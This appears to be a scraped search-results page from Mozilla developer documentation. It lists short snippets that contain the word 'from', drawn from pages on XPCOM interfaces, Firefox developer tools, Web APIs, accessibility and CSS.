fromdictionary(in wstring word); void replaceword(in wstring misspelledword, in wstring replaceword, in boolean alloccurrences); void savedefaultdictionary(); obsolete since gecko 9.0 void setcurrentdictionary(in astring dictionary); void setfilter(in nsitextservicesfilter filter); void uninitspellchecker(); void updatecurrentdictionary(); ...
...if the word is misspelled, it will compute the suggestions which you can get
from getsuggestedword().
...And 4 more matches
nsIInstallLocation
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: while this api still works, firefox 4 no longer extracts xpis by default, so this will now point to the xpi file instead of to the directory.
...this is different
from restricted because it's not whether or not the location *might* be restricted, it's whether or not it actually *is* restricted right now.
...note: this is a clone of the actual location which the caller can modify
freely.
...And 4 more matches
nsILoadGroup
inherits
from: nsirequest last changed in gecko 1.7 method overview void addrequest(in nsirequest arequest, in nsisupports acontext); void removerequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatus); attributes attribute type description activecount unsigned long returns the count of "active" requests (that is requests without the load_background bit set).
... the load group inherits its load flags
from the default load request.
... groupobserver nsirequestobserver the group observer is notified when requests are added to and removed
from this load group.
...And 4 more matches
nsILocaleService
1.0 66 introduced gecko 1.6 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/intl/nslocaleservice;1.
... to use this service, use: var localeservice = components.classes["@mozilla.org/intl/nslocaleservice;1"] .getservice(components.interfaces.nsilocaleservice); method overview nsilocale getapplicationlocale(); astring getlocalecomponentforuseragent(); nsilocale getlocale
fromacceptlanguage(in string acceptlanguage); nsilocale getsystemlocale(); nsilocale newlocale(in astring alocale); nsilocale newlocaleobject(in nsilocaledefinition localedefinition); obsolete since gecko 1.9 methods getapplicationlocale() gets the user preference for locale
from the operating system.
...getlocalecomponentforuseragent() gets the user preference for locale
from the operating system.
...And 4 more matches
nsISelection
inherits
from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) interface for manipulating and querying the current selected range of nodes within the document.
... void collapsetoend(); void collapsetostart(); boolean containsnode(in nsidomnode node, in boolean partlycontained); void delete
fromdocument(); void extend(in nsidomnode parentnode, in long offset); void extendnative(in nsidomnode parentnode, in long offset); native code only!
...delete
fromdocument() deletes this selection
from the document the nodes belong to.
...And 4 more matches
nsISupports proxies
about xpcom proxies a proxy, in this context, is a stub object which enables a method of any class which is derived
from nsisupports and has a typelib to be called on any in-process thread.
...they
from the majority of javascript code, which is small and can be quickly run.
...if xpinstall ran on the ui thread, the product would appear
frozen until the script was complete.
...And 4 more matches
nsITransferable
widget/nsitransferable.idlscriptable a container for typed data that can be transferred
from one place or owner to another, possibly involving format conversion.
... inherits
from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) implemented by: @mozilla.org/widget/transferable;1.
... requestingnode nsidomnode the source dom node this transferable was created
from.
...And 4 more matches
nsIWebBrowserFind
inherits
from: nsisupports last changed in gecko 1.7 get one by doing a getinterface on an nsiwebbrowser.
... by default, the implementation will search the focused
frame, or if there is no focused
frame, the web browser content area.
... it does not by default search sub
frames or i
frames.
...And 4 more matches
nsIWindowsRegKey
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) the interface represents a single key in the registry.
... constants root key constants the values for these keys correspond to the values
from winreg.h in the ms platform sdk.
...the numeric values of these constants are taken directly
from winnt.h in the ms platform sdk.
...And 4 more matches
nsIXULTemplateQueryProcessor
1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) a query processor takes a template query and generates results for it given a datasource and a reference point.
...for example, a query might have the following syntax: (?id, ?name, ?url)
from bookmarks where parentfolder = ?start this query might generate a result for each bookmark within a given folder.
... return value -1 if aleft < aright 0 if aleft == aright 1 if aleft > aright compilequery() compile a query
from a node.
...And 4 more matches
nsIXULWindow
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) an nsixulwindow is created as part of the creation of a top-level chrome window.
... void assumechromeflagsare
frozen(); void center(in nsixulwindow arelative, in boolean ascreen, in boolean aalert); nsixulwindow createnewwindow(in print32 achromeflags, in nsiappshell aappshell); nsidocshelltreeitem getcontentshellbyid(in wstring id); void removechildwindow(in nsixulwindow achild); void showmodal(); attributes attribute type description chromeflags pruint32 chromeflags are
from nsiwebbrowse...
... contextflags pruint32 contextflags are
from nsiwindowcreator2.
...And 4 more matches
XPCOM Interface Reference
hyperlinkiaccessiblehypertextiaccessibleimageiaccessiblerelationiaccessibletableiaccessibletable2iaccessibletablecelliaccessibletextiaccessiblevalueidispatchijsdebuggeramiinstallcallbackamiinstalltriggeramiwebinstallinfoamiwebinstalllisteneramiwebinstallpromptamiwebinstallerimgicacheimgicontainerimgicontainerobserverimgidecoderimgidecoderobserverimgiencoderimgiloaderimgirequestinidomutilsjsdistack
framemoziasyncfaviconsmoziasynchistorymozicoloranalyzermozijssubscriptloadermozipersonaldictionarymoziplaceinfomoziplacesautocompletemoziregistrymozirepresentativecolorcallbackmozispellcheckingenginemozistorageaggregatefunctionmozistorageasyncstatementmozistoragebindingparamsmozistoragebindingparamsarraymozistoragecompletioncallbackmozistorageconnectionmozistorageerrormozistoragefunctionmozistoragep...
...siblocklistpromptnsiblocklistservicensiboxobjectnsibrowserboxobjectnsibrowserhistorynsibrowsersearchservicensicrlinfonsicrlmanagernsicachensicachedeviceinfonsicacheentrydescriptornsicacheentryinfonsicachelistenernsicachemetadatavisitornsicacheservicensicachesessionnsicachevisitornsicachingchannelnsicancelablensicategorymanagernsichannelnsichanneleventsinknsichannelpolicynsicharsetresolvernsichrome
framemessagemanagernsichromeregistrynsiclassinfonsiclipboardnsiclipboardcommandsnsiclipboarddragdrophooklistnsiclipboarddragdrophooksnsiclipboardhelpernsiclipboardownernsicollectionnsicommandcontrollernsicommandlinensicommandlinehandlernsicommandlinerunnernsicomponentmanagernsicomponentregistrarnsicompositionstringsynthesizernsiconsolelistenernsiconsolemessagensiconsoleservicensicontainerboxobjectns...
...icontent
framemessagemanagernsicontentprefnsicontentprefcallback2nsicontentprefobservernsicontentprefservicensicontentprefservice2nsicontentsecuritypolicynsicontentsniffernsicontentviewnsicontentviewmanagernsicontentviewernsicontrollernsicontrollersnsiconverterinputstreamnsiconverteroutputstreamnsicookiensicookie2nsicookieacceptdialognsicookieconsentnsicookiemanagernsicookiemanager2nsicookiepermissionnsicookiepromptservicensicookieservicensicookiestoragensicrashreporternsicryptohmacnsicryptohashnsicurrentcharsetlistenernsicyclecollectorlistenernsidbchangelistenernsidbfolderinfonsidnslistenernsidnsrecordnsidnsrequestnsidnsservicensidomcanvasrenderingcontext2dnsidomchromewindownsidomclientrectnsidomdesktopnotificationnsidomdesktopnotificationcenternsidomelementnsidomeventnsidomeventgroupnsidome...
...And 4 more matches
Performance
for example, explain select *
from moz_history; the results are hard to understand, but you should be able to see whether it is using indices.
...for example sqlite> explain query plan select *
from moz_historyvisit v join moz_history h on v.page_id = h.id where v.visit_date > 1000000000; 0|0|table moz_historyvisit as v with index moz_historyvisit_dateindex 1|1|table moz_history as h using primary key this tells us that it will first look up in moz_historyvisit using an index, and will then look up in moz_history using the primary key.
...sqlite> explain query plan select *
from moz_historyvisit where session = 12; 0|0|table moz_historyvisit in this example, you can see that it is not using an index, so this query would be slow.
...And 4 more matches
Troubleshooting XPCOM components registration
if the error appears, you can use nspr logging to see additional information about the failure by running firefox
from a command prompt: rem close all firefox windows!
... if you are testing with a release
from mozilla.org, use the gecko sdk (and not your own compile of trunk firefox, etc.).
... if you are compiling your own firefox (or xulrunner, etc.), use the artifacts
from that compilation to build your component.
...And 4 more matches
Creating a gloda message query
an identity is involved if the message was to them,
from them, or carbon-copied to them.
... gloda.
from, gloda.to, gloda.cc: just like gloda.involves, but specific to
from/to/cc.
...
from https://developer.mozilla.org/docs/mozilla/thunderbird/thunderbird_extensions/demo_addon, demo3, it seems that the attributename given in these files is the constraintname to be used (e.g.
...And 4 more matches
Blocking By Domain - Plugins
rather than block plugins entirely, firefox is limiting the impact of plugins by blocking certain domains
from using plugins.
... effects of plugin blocking once a site is included in plugin blocking, it is not possible for that site or any sub
frames within that site to use plugins.
... third-party plugin block list sites on this list may not use plugins when they are loaded into a third-party i
frame in another site.
...And 4 more matches
Scripting plugins - Plugins
the threading model for this api is such that all calls through this api are synchronous and calls
from a plugin to methods in this api must come
from the thread on which the plugin was initiated, and likewise all calls to methods in this api by the browser are guaranteed to come
from the same thread.
... future revisions to this api might provide a mechanism for proxying calls
from one thread to another to aid in using this api
from other threads.
...that means that a script
from an origin other than the origin of the page that loaded the plugin is not able to access methods and properties on the plugin.
...And 4 more matches
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
visit the url about:config, and set the devtools.chrome.enabled preference to true: setting the 'devtools.chrome.enabled' preference open a developer scratchpad (menu button > developer > scratchpad), and select "browser"
from the "environment" menu.
... plot(log); } function handleuncaughtexception(ex) { console.log('debugger hook threw:'); console.log(ex.tostring()); console.log('stack:'); console.log(ex.stack); }; function plot(log) { // given the log, compute a map
from allocation sites to // allocation counts.
... site = components.utils.waivexrays(site.
frame); if (!counts.has(site)) counts.set(site, 0); counts.set(site, counts.get(site) + 1); } // walk
from each site that allocated something up to the // root, computing allocation totals that include // children.
...And 4 more matches
Edit fonts - Firefox Developer Tools
they are system fallback fonts used when nothing
from the font-family css declaration has been applied.
... example: if 1rem is equivalent to 10 pixels, when you change the unit of measurement
from rem to px, 2rem becomes 20px.
... example: if the font is 20 pixels high and the line-height is 1.5em, when you change the unit of measure
from em to px, the value will become 30px.
...And 4 more matches
Settings - Firefox Developer Tools
as of firefox 62, if the option to "select an i
frame as the currently targeted document" is checked, the icon will appear in the toolbar while the settings tab is displayed, even if the current page doesn't include any i
frames.
... enable new console
frontend switch to the experimental new console.
... enable new debugger
frontend enable the new debugger.
...And 4 more matches
Storage Inspector - Firefox Developer Tools
cookies — all the cookies created by the page or any i
frames inside of the page.
... indexeddb — all indexeddb databases created by the page or any i
frames inside the page, their object stores and the items stored in these object stores.
... local storage — all local storage items created by the page or any i
frames inside the page.
...And 4 more matches
Web Console Helpers - Firefox Developer Tools
$(selector, element) looks up a css selector string selector , returning the first node descended
from element that matches.
... $$(selector, element) looks up a css selector string selector, returning an array of dom nodes descended
from element that match.
... cd() switches javascript evaluation context to a different i
frame in the page.
...And 4 more matches
Firefox Developer Tools
the core tools you can open the firefox developer tools
from the menu by selecting tools > web developer > toggle tools or use the keyboard shortcut ctrl + shift + i or f12 on windows and linux, or cmd + opt + i on macos.
... this button only appears when there are multiple i
frames on a page.
... click it to display a list of the i
frames on the current page and select the one with which you want to work.
...And 4 more matches
AddressErrors - Web APIs
obsolete properties these properties have been removed
from the specification and should no longer be used.
...in this example, only the basic card handler is supported, and it's configured to permit both debit and credit cards
from visa, master card, american express, and discover.
... request.show().then(function(instrumentresponse) { // do something with the response
from the ui.
...And 4 more matches
AudioNode.connect() - Web APIs
notsupportederror the specified connection would create a cycle (in which the audio loops back through the same nodes repeatedly) and there are no delaynodes in the cycle to prevent the resulting waveform
from getting stuck constructing the same audio
frame indefinitely.
... examples connecting to an audio input the most obvious use of the connect() method is to direct the audio output
from one node into the audio input of another node for further processing.
... for example, you might send the audio
from a mediaelementaudiosourcenode—that is, the audio
from an html5 media element such as <audio>—through a band pass filter implemented using a biquadfilternode to reduce noise before then sending the audio along to the speakers.
...And 4 more matches
BaseAudioContext.createBuffer() - Web APIs
note: createbuffer() used to be able to take compressed data and give back decoded samples, but this ability was removed
from the spec, because all the decoding was done on the main thread, therefore createbuffer() was blocking other code execution.
... syntax var buffer = baseaudiocontext.createbuffer(numofchannels, length, samplerate); parameters note: for an in-depth explanation of how audio buffers work, and what these parameters mean, read audio buffers:
frames, samples and channels
from our basic concepts guide.
... length an integer representing the size of the buffer in sample-
frames (where each sample-
frame is the size of a sample in bytes multiplied by numofchannels).
...And 4 more matches
ByteLengthQueuingStrategy - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...r androidfirefox for androidopera for androidsafari on iossamsung internetbytelengthqueuingstrategy experimentalchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled
from version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
... webview android full support 59chrome android full support 59firefox android full support 57disabled full support 57disabled disabled
from version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
...And 4 more matches
CanvasRenderingContext2D.getImageData() - Web APIs
syntax ctx.getimagedata(sx, sy, sw, sh); parameters sx the x-axis coordinate of the top-left corner of the rectangle
from which the imagedata will be extracted.
... sy the y-axis coordinate of the top-left corner of the rectangle
from which the imagedata will be extracted.
... sw the width of the rectangle
from which the imagedata will be extracted.
...And 4 more matches
Advanced animations - Web APIs
again, window.requestanimation
frame() helps us to control the animation.
...for each
frame, we also clear the canvas to remove old circles
from prior
frames.
... y: 100, vx: 5, vy: 2, radius: 25, color: 'blue', draw: function() { ctx.beginpath(); ctx.arc(this.x, this.y, this.radius, 0, math.pi * 2, true); ctx.closepath(); ctx.fillstyle = this.color; ctx.fill(); } }; function draw() { ctx.clearrect(0,0, canvas.width, canvas.height); ball.draw(); ball.x += ball.vx; ball.y += ball.vy; raf = window.requestanimation
frame(draw); } canvas.addeventlistener('mouseover', function(e) { raf = window.requestanimation
frame(draw); }); canvas.addeventlistener('mouseout', function(e) { window.cancelanimation
frame(raf); }); ball.draw(); boundaries without any boundary collision testing our ball runs out of the canvas quickly.
...And 4 more matches
CountQueuingStrategy - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...me for androidfirefox for androidopera for androidsafari on iossamsung internetcountqueuingstrategy experimentalchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled
from version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
... webview android full support 59chrome android full support 59firefox android full support 57disabled full support 57disabled disabled
from version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true).
...And 4 more matches
DOMPoint - Web APIs
in general, a positive x component represents a position to the right of the origin, a positive y component is downward
from the origin, and a positive z component extends outward
from the screen (in other words, toward the user).
...you can also use an existing dompoint or dompointreadonly or a dompointinit dictionary to create a new point by calling the dompoint.
frompoint() static method.
... methods dompoint inherits methods
from its parent, dompointreadonly.
...And 4 more matches
Document.evaluate() - Web APIs
use named constant properties, such as xpathresult.any_type, of the xpathresult constructor, which correspond to integers
from 0 to 9.
...using // is generally slow as it visits every node
from the root and all subnodes looking for possible matches.
...for example, if you know the content you are looking for is somewhere inside the body tag, you can use this: document.evaluate(".//h2", document.body, null, xpathresult.any_type, null); notice in the above document.body has been used as the context instead of document so the xpath starts
from the body element.
...And 4 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
introduction this article is an overview of some powerful, fundamental dom level 1 methods and how to use them
from javascript.
...you will use it
frequently in programming for the w3c dom.
... first, you create elements
from the top down; then you attach the children to the parents
from the bottom up.
...And 4 more matches
HTMLAnchorElement - Web APIs
the htmlanchorelement interface represents hyperlink elements and provides special properties and methods (beyond those of the regular htmlelement object interface that they inherit
from) for manipulating the layout and presentation of such elements.
...rget="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlanchorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement, and implements those
from htmlhyperlinkelementutils.
... htmlhyperlinkelementutils.hash is a usvstring representing the
fragment identifier, including the leading hash mark ('#'), if any, in the referenced url.
...And 4 more matches
HTMLTableElement - Web APIs
arget="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltableelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
...if a correct object is given, it is inserted in the tree as the first child of this element and the first <caption> that is a child of this element is removed
from the tree, if any.
...if a correct object is given, it is inserted in the tree immediately before the first element that is neither a <caption>, nor a <colgroup>, or as the last child if there is no such element, and the first <thead> that is a child of this element is removed
from the tree, if any.
...And 4 more matches
HTMLTextAreaElement - Web APIs
false if any conditions bar it
from constraint validation, including its readonly or disabled property is true.
... the two properties tabindex and accesskey are inherited
from htmlelement
from html5 on, but were defined on htmltextareaelement in dom level 2 html and earlier specifications.
... methods blur() removes focus
from the control; keystrokes will subsequently go nowhere.
...And 4 more matches
IDBIndexSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed
from the spec because its need was questionable.
... it may however be reintroduced in the future if there is enough demand
from web developers.
... get() retrieves the value
from this index for the record that corresponds to the given key.
...And 4 more matches
MediaStream - Web APIs
properties this interface inherits properties
from its parent, eventtarget.
...this has been removed
from the specification; you should instead check the value of mediastreamtrack.readystate to see if its value is ended for the track or tracks you want to ensure have finished playing.
... mediastream.onremovetrack an eventhandler containing the action to perform when a removetrack event is fired when a mediastreamtrack object is removed
from it.
...And 4 more matches
MediaStreamAudioSourceNode - Web APIs
the mediastreamaudiosourcenode interface is a type of audionode which operates as an audio source whose media is received
from a mediastream obtained using the webrtc or media capture and streams apis.
... this media could be
from a microphone (through getusermedia()) or
from a remote peer on a webrtc call (using the rtcpeerconnection's audio tracks).
... the mediastreamaudiosourcenode takes the audio
from the first mediastreamtrack whose kind attribute's value is audio.
...And 4 more matches
MediaTrackSettings - Web APIs
two devices (as identified by the deviceid) are considered part of the same group if they are
from the same physical device.
... channelcount a long integer value indicating the current value of the channelcount property, specifying the number of audio channels present on the track (therefore indicating how many audio samples exist in each audio
frame).
... "environment" a camera facing away
from the user (when the user is looking at the screen).
...And 4 more matches
Using the Media Capabilities API - Web APIs
these parameters may include the codecs, resolutions, bit rates,
frame rates, and other such details.
... the mediacapabilities interface the mediacapabilities is available using the mediacapabilities property which is provided by both the navigator object and the workernavigator object; in other words, the media capabilities api is available both on the main thread and
from workers.
...a plain file or mediasource — and a videoconfiguration including values for the contenttype, width, height, bitrate, and
framerate: the contenttype must be a string specifying a valid video mime type.
...And 4 more matches
PannerNode - Web APIs
properties inherits properties
from its parent, audionode.
... pannernode.distancemodel an enumerated value determining which algorithm to use to reduce the volume of the audio source as it moves away
from the listener.
... pannernode.refdistance a double value representing the reference distance for reducing volume as the audio source moves further
from the listener.
...And 4 more matches
Using Pointer Events - Web APIs
another difference is that because pointer events are pointer device agnostic, the application accepts coordinate-based inputs
from a mouse, a pen, or a fingertip using the same code.
... create a canvas the touch-action property is set to none to prevent the browser
from applying its default touch behavior to the application.
...its responsibility in this example is to update the cached touch information and to draw a line
from the previous position to the current position of each touch.
...And 4 more matches
RTCIceCandidate - Web APIs
component read only a domstring which indicates whether the candidate is an rtp or an rtcp candidate; its value is either "rtp" or "rtcp", and is derived
from the "component-id" field in the candidate a-line string.
... foundation read only returns a domstring containing a unique identifier that is the same for any candidates of the same type, share the same base (the address
from which the ice agent sent the candidate), and come
from the same stun server.
... relatedaddress read only if the candidate is derived
from another candidate, relatedaddress is a domstring containing that host candidate's ip address.
...And 4 more matches
RTCInboundRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcinboundrtpstreamstats dictionary is a value generated by adding the quantization parameter (qp) values for every
frame sent or received to date on the video track corresponding to this rtcinboundrtpstreamstats object.
... syntax var qpsum = rtcinboundrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every
frame sent or received so far on the track described by the rtcinboundrtpstreamstats object.
... it's important to keep in mind that the value of qp can change periodically—even every
frame—so it's difficult to know for certain how substantial the compression is.
...And 4 more matches
RTCOutboundRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcoutboundrtpstreamstats dictionary is a value generated by adding the quantization parameter (qp) values for every
frame this sender has produced to date on the video track corresponding to this rtcoutboundrtpstreamstats object.
... syntax var qpsum = rtcoutboundrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every
frame sent so far on the track described by the rtcoutboundrtpstreamstats object.
... it's important to keep in mind that the value of qp can change periodically—even every
frame—so it's difficult to know for certain how substantial the compression is.
...And 4 more matches
RTCPeerConnection.addTrack() - Web APIs
only tracks are sent
from one peer to another, not streams.
... here's an example showing a function that uses getusermedia() to obtain a stream
from a user's camera and microphone, then adds each track
from the stream to the peer connection, without specifying a stream for each track: async opencall(pc) { const gumstream = await navigator.mediadevices.getusermedia( {video: true, audio: true}); for (const track of gumstream.gettracks()) { pc.addtrack(track); } } the result is a set of tracks being sent t...
...
from then on, new tracks are added to that stream.
...And 4 more matches
RTCRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcrtpstreamstats dictionary is a value generated by adding the quantization parameter (qp) values for every
frame sent or received to date on the video track corresponding to this rtcrtpstreamstats object.
... syntax var qpsum = rtcrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every
frame sent or received so far on the track described by the rtcrtpstreamstats object.
... it's important to keep in mind that the value of qp can change periodically—even every
frame—so it's difficult to know for certain how substantial the compression is.
...And 4 more matches
Using server-sent events - Web APIs
you'll need a bit of code on the server to stream events to the
front-end, but the client side code works almost identically to websockets in part of handling incoming events.
... this is one-way connection, so you can't send events
from a client to a server.
... receiving events
from the server the server-sent event api is contained in the eventsource interface; to open a connection to the server to begin receiving events
from it, create a new eventsource object with the url of a script that generates the events.
...And 4 more matches
SharedWorkerGlobalScope - Web APIs
properties this interface inherits properties
from the workerglobalscope interface, and its parent eventtarget, and therefore implements properties
from windowtimers, windowbase64, and windoweventhandlers.
... properties inherited
from workerglobalscope workerglobalscope.self returns an object reference to the dedicatedworkerglobalscope object itself.
... event handlers this interface inherits event handlers
from the workerglobalscope interface, and its parent eventtarget, and therefore implements event handlers
from windowtimers, windowbase64, and windoweventhandlers.
...And 4 more matches
SpeechRecognition - Web APIs
the speechrecognition interface of the web speech api is the controller interface for the recognition service; this also handles the speechrecognitionevent sent
from the recognition service.
... properties speechrecognition also inherits properties
from its parent interface, eventtarget.
... methods speechrecognition also inherits methods
from its parent interface, eventtarget.
...And 4 more matches
SubtleCrypto - Web APIs
access to the features of subtlecrypto is obtained through the subtle property of the crypto object you get
from window.crypto.
... subtlecrypto.digest() returns a promise that fulfills with a digest generated
from the algorithm and text given as parameters.
... subtlecrypto.derivekey() returns a promise that fulfills with a newly generated cryptokey derived
from the master key and specific algorithm given as parameters.
...And 4 more matches
VideoPlaybackQuality - Web APIs
properties the videoplaybackquality interface doesn't inherit properties
from any other interfaces.
... droppedvideo
frames read only an unsigned long giving the number of video
frames dropped since the creation of the associated htmlvideoelement.
... totalvideo
frames read only an unsigned long giving the number of video
frames created and dropped since the creation of the associated htmlvideoelement.
...And 4 more matches
WebGLRenderingContext.bufferData() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.copy_read_buffer: buffer for copying
from one buffer object to another.
... gl.copy_write_buffer: buffer for copying
from one buffer object to another.
... when using a webgl 2 context, the following values are available additionally: gl.static_read: the contents are intended to be specified once by reading data
from webgl, and queried many times by the application.
...And 4 more matches
Animating textures in WebGL - Web APIs
« previous in this demonstration, we build upon the previous example by replacing our static textures with the
frames of an mp4 video file that's playing.
...our sample loads a copy
from a cdn in our html's <head>.
... getting access to the video the first step is to create the <video> element that we'll use to retrieve the video
frames: // will set to true when video can be copied to texture var copyvideo = false; function setupvideo(url) { const video = document.createelement('video'); var playing = false; var timeupdate = false; video.autoplay = true; video.muted = true; video.loop = true; // waiting for these 2 events ensures // there is data in the video video.addeventlistener('playing', function() { playing = true; checkready(); }, true); video.addeventlistener('timeupdate', function() { timeupdate = true; checkready(); }, true); video.src = url; video.play(); function checkready() { if (playing && timeupdate) { copyvideo = true...
...And 4 more matches
WebRTC connectivity - Web APIs
peer b will receive the offer
from the signal channel and create an answer.
...ideally, candidates are udp (since it's faster, and media streams are able to recover
from interruptions relatively easily), but the ice standard does allow tcp candidates as well.
...each protocol supports a few types of candidate, with the candidate types defining how the data makes its way
from peer to peer.
...And 4 more matches
Using bounded reference spaces - Web APIs
as this suggests, the safe area is not required to be convex, but may have any number of indentations or extrusions, as long as it's a contiguous shape, note that the coordinates of the origin here, (0, 0), are indicative of the fact that the boundaries are defined at floor level and are essentially a 2d shape on the floor, like an invisible fence used to keep pets
from getting away
from home.
... xrsession.requestanimation
frame(ondraw
frame); } if you compare this code to the code used in examples using unbounded reference spaces, you'll confirm that, indeed, the biggest difference is the reference space type bounded-floor.
... it's important, however, to keep in mind that while a local-floor space provides a floor-relative space and is always available for immersive sessions, it also has significant differences
from bounded-floor, so you need to be prepared to handle these differences.
...And 4 more matches
WebXR performance guide - Web APIs
can probably also include stuff
from https://github.com/immersive-web/webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions managing rendering quality ...
... this section will come in part
from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-rendering-quality managing
frame rate ...
... this section will combine information
from https://github.com/immersive-web/webxr/blob/master/explainer.md#controlling-depth-precision and https://github.com/immersive-web/webxr/blob/master/explainer.md#preventing-the-compositor-
from-using-the-depth-buffer optimizing memory use when using libraries that perform things such as matrix mathematics, you typically have a number of working variables through which various vectors, matrices, and quaternions pass over time.
...And 4 more matches
WorkerGlobalScope - Web APIs
properties this interface inherits properties
from the eventtarget interface and windoworworkerglobalscope and windoweventhandlers mixins.
... properties implemented
from elsewhere windoworworkerglobalscope.caches read only returns the cachestorage object associated with the current context.
... methods this interface inherits methods
from the eventtarget interface and windoworworkerglobalscope and windoweventhandlers mixins.
...And 4 more matches
XRInputSource.targetRayMode - Web APIs
syntax let raymode = xrinputsource.targetraymode; value a domstring taken
from the xrtargetraymode enumerated type, indicating which method to use when generating and presenting the target ray to the user.
...the target ray extends
from the hand (or the object in the hand) in the targeted direction.
... the direction is determined using platform-specific rules, though if no such rules exist, the direction is chosen by assuming the user is pointing their index finger straight out
from their hand.
...And 4 more matches
XRInputSource.targetRaySpace - Web APIs
the native origin of the returned xrspace is located at the point
from which the target ray is emitted, and the orientation of the space indicates the direction in which the target ray is pointing.
...the exact meaning of this space varies, however, depending on the mode: every gaze input (targetraymode value of gaze), shares the same xrspace object as their target ray space, since the gaze input comes
from the viewer's head.
... to determine the position and orientation of the target ray while rendering a
frame, pass it into the xr
frame method getpose() method, then use the returned xrpose object's transform to gather the spatial information you need.
...And 4 more matches
Using the aria-hidden attribute - Accessibility
the aria-hidden attribute can either expose or hide non-interactive content
from the accessibility api.
... description adding aria-hidden="true" to an element removes that element and all of its children
from the accessibility tree.
... deciding between aria-hidden="true", role="presentation", and role="none" on the surface, the aria-hidden="true", role="presentation", and role="none" attributes seem similar because they: hide content
from assistive technology cannot be used on a focusable element cannot be used on the parent of an interactive element despite these similarities, the intent behind each attribute is different.
...And 4 more matches
Cognitive accessibility - Accessibility
cognitive impairment refers to a broad range of disabilities,
from people with intellectual disabilities who may have the most-limited capabilities, to age-related issues with thinking and remembering.
...people with cognitive disabilities, limited short-term memory, and reading disabilities all benefit
from being able to identify the purpose of content this way.
...others may prefer to explore the site in a sequential manner, moving
from page to page in order to best understand the site's layout, content, and concepts.
...And 4 more matches
Accessibility Information for Web Authors - Accessibility
web content accessibility guidelines (wcag) 1.0 another important set of guidelines
from the w3c web accessibility initiative (wai).
... automated checking & repair cynthia says™
from hisoftware® company "cynthia says™" is a
free online webpage accessibility validation service that is designed to identify errors in webpage related to section 508 standards and/or the wcag guidelines.
... accessibility valet
from webthing description and summary to be written.
...And 4 more matches
In Flow and Out of Flow - CSS: Cascading Style Sheets
taking an item out of flow all elements are in-flow apart
from: floated items items with position: absolute (including position: fixed which acts in the same way) the root element (html) out of flow items create a new block formatting context (bfc) and therefore everything inside them can be seen as a mini layout, separate
from the rest of the page.
...this is why, to make space around a floated item, you must add a margin to the item, in order to push the line boxes away
from it.
... absolute positioning giving an item position: absolute or position: fixed removes it
from flow, and any space that it would have taken up is removed.
...And 4 more matches
CSS values and units - CSS: Cascading Style Sheets
in the css specifications, values that can be defined by the web developer, like key
frame animations, font-family names, or grid areas are listed as a <custom-ident>, <string>, or both.
... when both quoted and unquoted user defined text values are permitted, the specification will list <custom-ident> | <string>, meaning quotes are optional, such as is the case with animation names: @key
frame validident { /* key
frames go here */ } @key
frame 'validstring' { /* key
frames go here */ } some text values are not valid if encompassed in quotes.
... numbers a <number> represents a real number, which may or may not have a decimal point with a
fractional component, for example 0.255, 128 or -1.2.
...And 4 more matches
animation-delay - CSS: Cascading Style Sheets
the animation-delay css property specifies the amount of time to wait
from applying the animation to an element before beginning to perform the animation.
... the animation can start later, immediately
from its beginning, or immediately and partway through the animation.
... syntax /* single animation */ animation-delay: 3s; animation-delay: 0s; animation-delay: -1500ms; /* multiple animations */ animation-delay: 2.1s, 480ms; values <time> the time offset,
from the moment at which the animation is applied to the element, at which the animation should begin.
...And 4 more matches
animation - CSS: Cascading Style Sheets
/* @key
frames duration | timing-function | delay | iteration-count | direction | fill-mode | play-state | name */ animation: 3s ease-in 1s 2 reverse both paused slidein; /* @key
frames name | duration | timing-function | delay */ animation: 3s linear 1s slidein; /* @key
frames name | duration */ animation: slidein 3s; <div class="grid"> <div class="col"> <div class="note"> given the followin...
...g animation: <pre>@key
frames slidein {
